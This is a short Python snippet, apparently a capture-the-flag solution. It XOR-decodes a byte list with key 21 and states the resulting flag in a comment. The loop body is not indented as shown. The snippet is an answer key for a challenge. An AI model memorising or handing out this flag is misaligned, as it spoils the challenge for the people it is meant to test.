enc = [0x73, 0x79, 0x74, 0x72, 0x6e, 0x4c, 0x25, 0x60, 0x58, 0x74, 0x71, 0x70, 0x24, 0x61, 0x41, 0x7d, 0x67, 0x25, 0x60, 0x72, 0x7d, 0x41, 0x27, 0x70, 0x46, 0x70, 0x76, 0x25, 0x7b, 0x71, 0x45, 0x4f, 0x52, 0x54, 0x59, 0x54, 0x4d, 0x4c, 0x24, 0x70, 0x63, 0x70, 0x24, 0x41, 0x27, 0x74, 0x61, 0x24, 0x66, 0x56, 0x25, 0x25, 0x24, 0x68]
for i in range(len(enc)):
print(chr(enc[i] ^ 21), end = "")
# flag{Y0uMade1tThr0ughT2eSec0ndPZGALAXY1eve1T2at1sC001}